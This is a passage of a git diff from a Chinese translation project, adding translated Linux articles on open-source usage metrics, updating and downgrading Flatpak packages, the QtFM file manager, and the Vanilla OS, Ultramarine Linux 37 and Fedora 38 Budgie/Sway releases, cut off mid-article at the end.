喜欢、分享、回复以及其他交互的数量 + +### 网站分析与文档 + +网站流量也是一个有用的指标。这一指标主要受到你的服务范围以及市场营销活动影响,而不是用户量。然而,我们还有一张王牌:我们的用户文档、教程、手册以及 API 文档。我们可以发现我们的网站以及文档中的什么主题更引人注意。文档的访问者数量应当大致随着软件的使用者数量增长而增长。因此我们可以通过网站的访问量探知对项目的普遍兴趣,并进一步通过观察文档的访问者来观察用户风向。这些指标包括: + +- 网站访问者数量 +- 文档访问者的数量 +- 访问者在你的网站与文档上所花的时间 + +### 活动 + +活动的指标可以在你主持与项目相关的活动时使用。这是建立社区的很好的方式。有多少人提交摘要想要在你的活动中发言?有多少人出席你的活动?不论是在线下活动还是线上活动这可能都很有趣。当然,你如何推广你的活动在很大程度上决定有多少人到场。同时你可以将自己的活动与人们出行的大型活动放在一起以方便人们参加你的活动。只要你使用一贯的活动策略,你可以通过演讲者提交的材料与参会者注册的增加来表征软件受欢迎程度与用户群的增加。 + +你并不需要举办你自己的活动来收集有用的指标。如果你在开源活动中主持有关你项目的讨论,你可以衡量有多少人出席主要关注你的项目的会议。像 [FOSDEM][T1] 这样的活动,一些讨论特别聚焦于开源项目的更新与发布,会议室中都挤满了人(像 FOSDEM 的所有会议一样)。 + +你可以考虑如下指标: + +- 以你的项目为中心的活动的出席人数 +- 提交到以你的项目为中心的活动的演讲数量 +- 以你的项目为中心的演讲的出席人数 + +### 关于估算开源软件使用的结论 + +正如我们已经如上展现的,有很多指标可以反映软件使用的趋势,没有一个指标是完美的。在大多数情况下,这些指标可能被个人行为、系统设计和噪音所严重影响。因此,考虑到每一个指标的相对不确定性,我们建议你不要孤立地使用任何一个指标。但是如果你从不同的来源收集了一系列的指标,你应当能够探测到用户行为与软件使用的趋势。如果你有办法在多个具有共性的开源项目中比较同一组指标,例如类似的功能、强大的相互依赖性、在同一基础设施上托管,以及其他特征,你就可以提升你对用户行为基线的感知。 + +需要注意的是,在这篇概述中,我们选择突出能够评估直接使用情况的指标。而大多数软件都依赖于其他各种软件包,如果我们不提及作为软件依赖链的一部分而被间接使用的严重影响,这就是我们的疏忽。因此,我们建议将上下游依赖的合计数量作为你的分析中的另一层内容。 + +最后,作为数据与指标的使用者,我们鼓励你认识到你的利益相关方的权利与责任。你发布的任何指标都有可能影响用户行为。最好的做法是经常一同分享你的背景信息——基础、来源、估算方法和其他关键上下文信息,这有助于其他人解释你的结果。 + +感谢 [CHAOSS][T2] 社区在爱尔兰都柏林举行的 CHAOSScon EU 2022 上的富有洞察力的对话,上述对话激发这篇博文的想法。我们还要感谢 CHAOSS 社区的成员审阅并帮助优化本文。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-usage-metrics + +作者:[Georg Link, Sophia Vargas][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/georglink +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/18/5/metrics-project-success +[2]: https://opensource.com/article/22/11/community-metrics + +[T1]: https://fosdem.org/ +[T2]: https://chaoss.community +[0]: https://img.linux.net.cn/data/attachment/album/202301/04/173129vmnstoxnzmjlnsxw.jpg \ No newline at end of file diff --git a/published/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md b/published/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md new file mode 100644 index 0000000000..4c68d5c5f1 --- /dev/null +++ b/published/20221210.2 ⭐️ How to Update Flatpak Packages in Linux.md @@ -0,0 +1,130 @@ +[#]: subject: "How to Update Flatpak Packages in Linux" +[#]: via: "https://itsfoss.com/update-flatpak/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15408-1.html" + +如何在 Linux 中更新 Flatpak 软件包 +====== + +![][0] + +我相信几乎所有的 Linux 用户都会保持他们系统的更新。 + +但这种更新通常是针对默认的 [包管理器][1]。例如,[更新 Ubuntu][2] 往往意味着更新所有的 APT 软件包。 + +然而,还有其他的打包格式,如 Snap 和 Flatpak。Snap 应用程序会自动更新,但 Flatpak 不会。 + +那么你如何更新 Flatpak 软件包呢?好吧,你可以用这个命令来更新所有已安装和可更新的 Flatpak 包: + +``` +flatpak update +``` + +这很简单。但让我再讨论一下关于更新 Flatpak 的一些事情,比如说: + +- 更新所有或特定的 Flatpak 包 +- 通过软件中心更新 Flatpak 包 + +让我们先从终端的方法开始。 + +### 方法 1:使用终端来更新 Flatpak 包 + +首先让我从最实用的方法开始,你也应该从这个方法开始。 + +#### 更新每一个过时的 Flatpak 包 + +更新现有的 Flatpak 包的整个目录是很容易的。 + +输入给定的命令,就可以得到过期包的列表: + +``` +flatpak update +``` + +![update flatpak packages in linux][3] + +你只需输入 `Y` 并按下回车键,就能搞定每一个更新。 + +#### 更新特定的 Flatpak 包 + +要更新特定的软件包,你需要可以更新的软件包的列表。你用的是你之前看到的那个命令。 + +``` +flatpak update +``` + +![update flatpak packages in linux][4] + +从输出中复制你要更新的软件包的名称。在以下命令中使用软件包的名称: + +``` +flatpak update package_name +``` + +例如,如果你想更新 Telegram,下面的命令可以完成这项工作: + +``` +flatpak update org.telegram.desktop +``` + +![update specific package in flatpak][5] + +这就完成了。 + +### 方法 2:从软件中心更新 Flatpak 应用 + +有 Flatpak 内置支持的发行版会在软件中心提供 Flatpak 应用的更新。Fedora 和 Linux Mint 就是这样的发行版。 + +但如果你使用的是 Ubuntu,你就需要在 GNOME 软件中心添加 Flatpak 支持: + +``` +sudo apt install gnome-software-plugin-flatpak +``` + +完成后,你将在 Ubuntu 中拥有两个软件中心。这是因为默认的软件中心不是 GNOME 的,而是 Snap Store。 + +从系统菜单中打开这个新的软件中心: + +![open software center in ubuntu][6] + +进入“更新Update”页面,你会发现过时的软件包列表。这包括 APT 和 Flatpak 软件包。 + +![update flatpak from software center][7] + +在这里,你可以一次更新所有的软件包,或者你可以有选择地更新什么。 + +### 总结 + +许多 Linux 桌面用户往往忘记更新 Flatpak 软件包,因为它们不包括在定期的系统更新中。 + +由于 Flatpak 是一个沙盒式的打包解决方案,你可能不会面临任何与过时的软件包有关的问题,但你肯定会错过新的功能和修复。 + +这就是为什么我建议每隔几周运行一次 Flatpak 更新命令。 + +我希望你喜欢这个快速的 Flatpak 小技巧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/update-flatpak/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/package-manager/ +[2]: https://itsfoss.com/update-ubuntu/ +[3]: https://itsfoss.com/content/images/wordpress/2022/12/3.-update-flatpak-packages-in-linux.png +[4]: https://itsfoss.com/content/images/wordpress/2022/12/3.-update-flatpak-packages-in-linux.png +[5]: https://itsfoss.com/content/images/wordpress/2022/12/4.-update-specific-package-in-flatpak.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/1.-open-software-center-in-ubuntu.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/2.-update-flatpak-from-software-center.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/03/154131lop17rnnrkiprkl7.jpg \ No newline at end of file diff --git a/published/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md b/published/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md new file mode 100644 index 0000000000..dfc488c153 --- /dev/null +++ b/published/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md @@ -0,0 +1,117 @@ +[#]: subject: "How to Downgrade Flatpak Packages in Linux" +[#]: via: "https://itsfoss.com/downgrade-flatpak-packages/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15402-1.html" + +如何在 Linux 中降级 Flatpak 软件包 +====== + +![][0] + +> Flatpak 软件包的一个鲜为人知的特点是,它允许你对已安装的应用程序进行降级。下面是如何使用它的方法。 + +从技术上讲,小版本或次要更新是为了解决问题。但是,当某些更新破坏你当前的工作流程时,情况可能会变得更糟。 + +无论是 Flatpak 包还是 Snap,当出现问题时,一切都会在某个时候崩溃。作为一个沙盒打包方案,它可能不会影响整个系统,但如果你遇到一个让你的应用体验变差的错误,你可能会后悔更新。 + +比如之前 [Black Box][1] 的更新就带来了一些错误,无法选择文字!开发人员现在已经解决了这个问题,但在他们没有解决之前,我降级了那个特定的包以使其正常工作。 + +所以,如果你想降级特定的 Flatpak 应用,你可以按照本指南进行操作。 + +### 在 Linux 中降级 Flatpak 包 + +**免责声明:** 与安装 Flatpak 不同,你需要 `sudo` 权限才能降级 Flatpak 包。如果你的用户没有该权限,你可以按照我们关于 [如何向用户授予 sudo 访问权限][2] 的详细指南进行操作。 + +以下是步骤: + +#### 1、获取包的应用 ID + +第一步是找到要降级的包的应用 ID。你可以列出已安装的软件包轻松找到它: + +``` +flatpak list --app +``` + +![find flatpak package id in linux][4] + +记下要降级的包的应用 ID。 + +这里,我要降级 Black Box,所以我的应用 ID 将是 `com.raggesilver.BlackBox`。 + +#### 2、列出以前的版本并获取该提交的代码 + +获得应用 ID 后,你需要列出以前的版本。 + +你可以按照给定的命令语法做到这点: + +``` +flatpak remote-info --log flathub +``` + +![find previous releases in flatpak][5] + +找到首选的先前版本后,复制如上所示的提交的代码。 + +#### 3、降级 Flatpack 包 + +执行前两个步骤后,你应该有以下内容: + +- 包的应用 ID。 +- 首选旧版本的提交代码。 + +现在,你必须将它们放在以下命令中: + +``` +sudo flatpak update --commit= +``` + +当我将 Black Box 降级到以前的版本时,我将使用以下命令: + +``` +sudo flatpak update --commit=c4ef3f4be655cbe2559451a9ef5977ab28139c54bb5adbd7db812f3482bd0db5 com.raggesilver.BlackBox +``` + +![downgrade flatpak package in linux][6] + +这就完成了! + +要检查你是否已成功降级软件包,你可以列出需要更新的软件包(考虑到其他所有内容都是最新的)。它应该包括你最近降级的软件包的名称: + +``` +flatpak update +``` + +![downgrade flatpak package][7] + +如你所见,Black Box 已过时,需要更新,这意味着包已成功降级! + +### 总结 + +在本快速教程中,我解释了如何降级 Flatpak 软件包,希望对你有所帮助。 + +如果你有任何疑问或建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/downgrade-flatpak-packages/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/blackbox-terminal/ +[2]: https://itsfoss.com/add-sudo-user-ubuntu/ +[4]: https://itsfoss.com/content/images/wordpress/2022/12/find-flatpak-package-id-in-linux.png +[5]: https://itsfoss.com/content/images/wordpress/2022/12/find-previous-releases-in-flatpak-1.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/downgrade-flatpak-package-in-linux.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/downgrade-flatpak-package.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/01/160400h0mmppwwvxd004bm.jpg \ No newline at end of file diff --git a/published/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md b/published/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md new file mode 100644 index 0000000000..0b6dccf74a --- /dev/null +++ b/published/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md @@ -0,0 +1,96 @@ +[#]: subject: "3 delightful features of the Linux QtFM file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-qtfm" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15404-1.html" + +Linux QtFM 文件管理器的 3 个令人愉快的功能 +====== + +![][0] + +> 这个 Linux 文件管理器做了你所期望的一切,没有留下不愉快的惊喜。但这里有一些令人惊喜的事情,使它值得一试。 + +QtFM 是一个简单的文件管理器,旨在通过一个快速直观的界面提供文件管理的基本功能。它适用于 Linux、BSD 和 macOS。 + +QtFM,顾名思义,使用 Qt(规范发音为 “cute”)编程工具包。我在 C++ 和 Python 中使用过 Qt 工具包,使用它总是一种乐趣。它是跨平台的,具有多个有用的抽象级别,因此开发人员不必直接与特定于供应商的 SDK 交互,而且它具有高度可配置性。从用户的角度来看,无论你使用的是最新的硬件还是[旧计算机][1],这都是一种“自然”且快速的体验。 + +### 使用 QtFM + +QtFM 没有太多内容。它专注于实现其名称所声称的:Qt 的文件管理器(FM)。其布局可能是你对文件管理器的期望:左侧是常用位置和设备的列表,右侧是文件列表。 + +![QtFM file manager][2] + +它只有四个菜单: + +- 文件File:创建新文件或文件夹,打开新选项卡或窗口,或退出应用。 +- 编辑Edit:在左侧面板中复制、粘贴、移至垃圾箱或创建新书签。 +- 视图View:在列表视图和图标视图之间切换,调整布局。 +- 帮助Help:许可信息和在线文档链接。 + +与 QtFM 交互与你可能习惯使用的任何标准文件管理器的体验大致相同。你可以点击导航、在其默认应用中打开文件、拖放文件和文件夹、复制和粘贴文件和文件夹、启动应用,以及你在与计算机内容交互时执行的任何其他操作。它很熟悉,所以基本上没有学习曲线,也没有不愉快的惊喜。 + +然而,也有一些惊喜。这是我最喜欢的三个。 + +### 1、将命令放入上下文菜单 + +使用 QtFM,你可以将可以在终端中运行的任何命令添加到右键单击上下文菜单中。例如,假设你想要一个将图像转换为 [webp 格式][3] 的选项到右键菜单。无需学习复杂的框架或脚本语言,无需开发插件。你只需 3 个步骤即可完成: + +- 转到 “编辑Edit” 菜单并选择 “设置Settings”。 +- 单击 “自定义操作选项卡Custom actions tab”。 +- 单击 “添加Add” 按钮并输入要运行的命令,用 `%f` 代表源文件,用 `%n` 代表新文件。 + +![QtFM custom actions][4] + +该操作现在出现在你的 QtFM 上下文菜单中。 + +### 2、灵活的布局 + +Qt 工具包的内置功能之一是它的许多组件(“小部件”)是可分离的。QtFM 利用了这一点,并允许你从 “视图View” 菜单中解锁其布局。解锁后,你可以拖动工具栏和侧面板,将它们固定在窗口周围的新位置。我能够将菜单栏、导航工具栏和 URI 字段组合到一个统一的面板中,并且为了方便,我在窗口的右侧放置了一个文件树。 + +![QtFM unlocking the layout][5] + +这不需要应用设计甚至配置的特殊知识。你只需解锁、拖放和锁定。 + +### 3、标签视图 + +许多 Linux 文件管理器提供选项卡的方式与大多数 Web 浏览器相同。这是一个简单的界面技巧,可让你方便地保留多个位置。我不知道它是否真的节省了时间,但我总觉得它确实如此。QtFM 也提供选项卡,我特别喜欢它实现选项卡的方式有两点。 + +首先,选项卡默认位于窗口底部(你可以在 “设置Settings” 中更改它)。因为我倾向于从左到右、从上到下阅读,所以我通常更喜欢在窗口的底部和右端设置“额外”信息。当然,“额外”信息的构成因用户而异,因此我不会责怪任何开发人员将小部件和面板放置在我不会放置小部件和面板的地方。不过,当开发人员不小心同意我的偏好时,这很好。 + +其次,标签是响应式的。只需将鼠标悬停在目标选项卡上,即可将文件或文件夹从一个选项卡拖动到另一个选项卡中。感觉就像从一个窗口拖放到另一个窗口一样自然。 + +### 安装 QtFM + +在 Linux 上,你的发行版可能会将 QtFM 打包在它的软件仓库中。如果是这样,你可以使用包管理器进行安装。例如,在 Debian 和基于 Debian 的系统上: + +``` +$ sudo apt install qtfm +``` + +如果你的发行版不提供 QtFM,你可以在其 [网站][6] 上找到它的软件包,或者你可以从它的 [Git 仓库][7] 下载源码。 + +--- + +via: https://opensource.com/article/22/12/linux-file-manager-qtfm + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity +[2]: https://opensource.com/sites/default/files/2022-12/qtfm.webp +[3]: https://opensource.com/article/20/4/webp-image-compression +[4]: https://opensource.com/sites/default/files/2022-12/qtfm-custom-action.webp +[5]: https://opensource.com/sites/default/files/2022-12/qtfm-layout-unlock.webp +[6]: https://qtfm.eu/ +[7]: https://github.com/rodlie/qtfm/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/02/170250zuwyuzzr9o3myl3l.jpg \ No newline at end of file diff --git a/published/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md b/published/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md new file mode 100644 index 0000000000..834ab618b2 --- /dev/null +++ b/published/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md @@ -0,0 +1,137 @@ +[#]: subject: "Vanilla OS Stable Release Has Landed!" +[#]: via: "https://news.itsfoss.com/vanilla-os-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15401-1.html" + +不普通的普通操作系统:Vanilla OS 稳定版发布了! +====== + +> Vanilla OS 已经准备好让你尝试!在这里了解令人兴奋的地方。 + +![][1] + +Vanilla OS 是一个基于 Ubuntu 的发行版,旨在为用户提供一个具有随需应变能力和自由选择软件包的 GNOME 体验。(LCTT 译注:Vanilla —— “香草”,因为作为太普通的香料,所以也有“普普通通”的意思。) + +经过几个月的测试,**Vanilla OS 的第一个版本** 终于以 **Vanilla 22.10 Kinetic** 的形式出现了,其提供了原汁原味的 **GNOME 43**。 + +在最近的一次采访中,我们问创建者:“很多人认为我们已经有太多的发行版了。为什么还要有 Vanilla OS?”,**Mirko Brombin**,分享了一些有趣的见解享。请看下面我们与他的对话,探索关于 Vanilla OS 的令人兴奋的事情: + +> **[“不要害怕做出贡献”:Mirko Brombin 谈 Vanilla OS 和其他未来项目][22]** + +Vanilla OS 有几个特点,你可能会觉得有帮助,请允许我向你介绍一下。 + +### 主要亮点 + +![Vanilla OS 22.10 Kinetic][2] + +作为一个新的发行版,Vanilla OS 有一个装备精良的功能集,你可能会喜欢。一些值得注意的亮点包括: + +- 原生安装程序 +- Vanilla OS 首次设置First Setup 功能 +- Vanilla OS 控制中心 +- apx 软件包管理器 +- 随需应变能力 + +#### 原生安装程序 + +![Vanilla OS 安装程序][3] + +Vanilla OS 有一个用 [GTK4][4] 和 [libadwaita][5] 编写的原生的安装程序,它取代了该操作系统在早期开发阶段时使用的 [Calamares][6] 安装程序。 + +![Vanilla OS 安装程序正在进行][7] + +之前,他们还宣布将使用来自 Crystal Linux 团队的 [Jade][8] 安装程序。 + +但是,他们改变了主意,选择在现有的 [Vanilla 首次设置][10] 项目之上建立 [Vanilla 安装程序][9]。 + +#### Vanilla OS 首次设置 + +![Vanilla OS 首次设置][11] + +Vanilla OS 的安装完成后,你会看到一个快速设置屏幕,上面用各种语言写着 “欢迎”。 + +![Vanilla OS 软件包管理器选择][12] + +然后它将带你完成各种设置,如选择颜色方案,选择你想要的软件包管理器,是否要安装受限制的编解码器,等等。 + +我必须说,这很方便! 😃️ + +#### Vanilla OS 控制中心 + +![Vanilla OS 控制中心][13] + +这个图形化工具使你能够对操作系统进行修改,如运行关键更新和安装额外的驱动程序。 + +#### 随需应变的不变性 + +![展示 - Vanilla OS 中的 ABRoot 事务性更新][14] + +正如上面 Vanilla OS 的创始人所展示的,这个操作系统可以提供完全的不变性和原子性,允许你在两个根分区(A/B)之间进行交易。 + +你问这是什么意思? 🤔 + +嗯,这意味着你的系统的核心部分被锁定,以防止任何不必要的变化,特别是那些由损坏的应用程序或错误的更新引起的变化。 + +Vanilla OS 使用 [ABRoot][15] 来实现这一目标,之前,他们曾尝试使用 [Almost][16],但结果并不理想。 + +![][17] + +它还有一个**智能更新功能**,他们解释如下: + +> VSO(Vanilla System Operator)是一个工具,它将定期检查更新,然后如果设备没有处于大量使用状态,就在后台下载和安装。事实上,VSO 检查是否满足某些检查条件,如资源是否空闲(CPU/RAM),连接是否允许,电池是否至少有 30% 的电量等。 + +更新是通过 ABroot 应用的,并在下一次重启时得到修补,而不需要花费额外时间。 + +#### apx 软件包管理器 + +![Vanilla OS apx][18] + +Vanilla OS 带有 [apx][19] 工具,允许你在不修改根文件系统的情况下在管理的容器内安装软件包。 + +### 下载 Vanilla OS + +如果你认为 Vanilla OS 解决了你在 Ubuntu 上遇到的问题,并且想要一个原汁原味的 GNOME 体验,那就来试试吧。 + +你可以在其 [官方博客文章][20] 中了解更多关于 Vanilla OS 22.10 的信息。 + +> **[下载 Vanilla OS][21]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vanilla-os-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/vanilla-os-release.png +[2]: https://youtu.be/aDvIJ_Hu90Y +[3]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Installer.png +[4]: https://news.itsfoss.com/gtk-4-release/ +[5]: https://news.itsfoss.com/gnome-libadwaita-library/ +[6]: https://calamares.io +[7]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Installer-2.png +[8]: https://github.com/crystal-linux/jade +[9]: https://github.com/Vanilla-OS/vanilla-installer +[10]: https://github.com/Vanilla-OS/first-setup +[11]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-First-Setup.png +[12]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Package-Manager.png +[13]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Control-Center.png +[14]: https://youtu.be/hIN-x3P12Tk +[15]: https://github.com/Vanilla-OS/ABRoot +[16]: https://documentation.vanillaos.org/docs/almost/ +[17]: https://news.itsfoss.com/content/images/2022/12/vanilla-os-updates.png +[18]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-apx.png +[19]: https://github.com/Vanilla-OS/apx +[20]: https://vanillaos.org/2022/12/29/vanilla-os-22-10-kinetic.html +[21]: https://vanillaos.org +[22]: https://news.itsfoss.com/interview-mirko-brombin/ \ No newline at end of file diff --git a/published/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md b/published/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md new file mode 100644 index 0000000000..173a76f9e9 --- /dev/null +++ b/published/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md @@ -0,0 +1,87 @@ +[#]: subject: "Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish" +[#]: via: "https://debugpointnews.com/ultramarine-linux-37-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15410-1.html" + +Ultramarine Linux 37 版本发布 +====== + +![][1] + +> Ultramarine Linux 的新版本来了。Ultramarine Linux 37 带有新的自定义软件仓库、KDE Plasma 特色版等等。 + +如果你不知道,Ultramarine Linux 是一个基于 Fedora 的发行版,提供了 Budgie、Pantheon、GNOME 等桌面环境。这个发行版通过这些令人赞叹的桌面环境给你提供了最好的 Fedora 体验。 + +最近,这个小项目被 [FyraLabs][2] 收购,后者是 PhotonBrowser 和 tauOS 背后的公司。而这使得 Ultramarine 项目有了必要的人力和资金来继续建设他们的发行版。 + +自 Fedora 37 发布以来,该团队一直致力于重件当前版本,这包括采用新的基础设施和 CI/CD 管道迁移。终于,Ultramarine Linux 37 登场了。 + +那么,它有什么新东西呢? + +### Ultramarine Linux 37 的新功能 + +自从被 Fyralabs 收购后,该团队升级并迁移到用于自动化 CI/CD 构建的 GitHub Actions。Ultramarine 自己的软件仓库用于分发其精心组织的软件包(例如 Pantheon 桌面),它在这个版本中会发生变化,并转移到 FyraLabs 的基础设施上。 + +因此,如果你正在运行 Ultramarine 36 版本,它可能无法正常工作。你最好重新安装这个版本,因为显然没有从 36 版到 37 版的升级路径。 + +此外,Ultramarine 37 为 Fedora 软件包引入了一个名为 [Terra][3] 的滚动仓库,其中包括数百个 Fedora 不提供的应用程序。你可以认为它类似于 [RPM Fusion][4],尽管有所不同。 + +要了解更多,请访问 [本页][3] 或从命令行添加以下软件仓库: + +``` +sudo dnf config-manager --add-repo https://terra.fyralabs.com/terra.repo +``` + +事实上,这开启了一种可能性,因为你也可以尝试在 Fedora Linux 中谨慎地使用它。如果上述软件仓库能在普通的 Fedora 安装中开箱即用,那就更棒了。 + +在上述变化的基础上,Ultramarine Linux 37 首次引入了 KDE Plasma 作为官方版本。KDE Plasma 特色版带来了含有 Latte Dock 和 Lightly Qt 主题的 Pop OS 风格外观。 + +![Ultramarine Linux 37 具有独特的 Pop OS 风格的 KDE Plasma 主题][5] + +Ultramarine Linux 37 也放弃了 Cutefish 桌面,因为它目前正处于 [混乱的开发状态,没有可见的路线图][6]。这是该团队的一个很好的决定,因为打包一个已经停止的项目是没有意义的。 + +Budgie 桌面旗舰版使用上游的 Fedora 软件包,有更多的默认应用程序。最近,Fedora Linux 删除了对 elementary OS 的 Pantheon 桌面的支持,很遗憾。感谢 Ultramarine Linux 开发者,你仍然可以体验它,因为它已经被转移到新的 Terra 软件仓库中。 + +你应该庆幸,Ultramarine Linux 是唯一一个的基于 Fedora 的支持令人赞叹的 Pantheon 桌面的发行版。 + +最后,Ultramarine Linux 37 的核心基于 [Fedora 37][7],采用 Linux 主线内核 6.0。因此,所有更新的软件包和工具链都在这个版本中。 + +所以,这就是关于这个版本的总结。请继续关注几天后对这个版本的官方点评。如果有兴趣,你可以在这里阅读之前的版本(36)的评论。 + +> **[Ultramarine Linux:带有 Budgie、Cutefish 和 Pantheon 桌面的终极 Fedora 特色版][8]** + +### 下载和升级 + +由于没有升级路径,建议你对该版本进行全新安装。你可以在下面下载各个桌面环境的 ISO 文件。 + +> **[下载 Ultramarine Linux 37][9]** + +参考自:[发布公告][10]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ultramarine-linux-37-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/01/ultra37head.jpg +[2]: https://twitter.com/UltramarineProj/status/1579991853478182914 +[3]: https://terra.fyralabs.com/ +[4]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[5]: https://debugpointnews.com/wp-content/uploads/2023/01/Ultramarine-Linux-37-with-unique-Pop-OS-style-KDE-Plasma-Theme.jpg +[6]: https://www.debugpoint.com/cutefish-development-restarts/ +[7]: https://debugpointnews.com/fedora-37-release-accouncement/ +[8]: https://www.debugpoint.com/ultramarine-linux-36/ +[9]: https://repos.fyralabs.com/isos/ultramarine/37/ +[10]: https://github.com/Ultramarine-Linux/build-scripts/releases/tag/37-1.0 diff --git a/published/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md b/published/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md new file mode 100644 index 0000000000..83f6605f84 --- /dev/null +++ b/published/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md @@ -0,0 +1,68 @@ +[#]: subject: "Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release" +[#]: via: "https://news.itsfoss.com/fedora-budgie-sway-official/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15418-1.html" + +Fedora 38 将发布 Budgie 和 Sway 官方定制版 +====== + +> 两款新的 Fedora 定制版将在 Fedora 38 发布时首次亮相。 + +![][1] + +我们期待着它们在 Fedora 37 时出现,但在 Fedora 38 中终于来了! + +早在 2022 年 5 月,Budgie 项目的主要开发者 Joshua Strobl [宣布][2],Budgie 已被提交到 Fedora 中。 + +遗憾的是,在那之后不久,我们并没有看到任何官方 [Fedora 定制版][3] 发布的迹象,尽管它在 [Fedora 37 发布][4] 期间进入了 Fedora 软件库。 + +**但现在有了。** + +随着 Fedora 38 的发布,看起来我们会得到一个 [Budgie][5] 的官方定制版,同时还有一个 [Sway][6] 窗口管理器的定制版。 + +### Fedora Budgie 和 Sway + +在 [最近的一次会议][9] 上,Fedora 工程和指导委员会(FESCo)投票决定将 Budgie 和 Sway 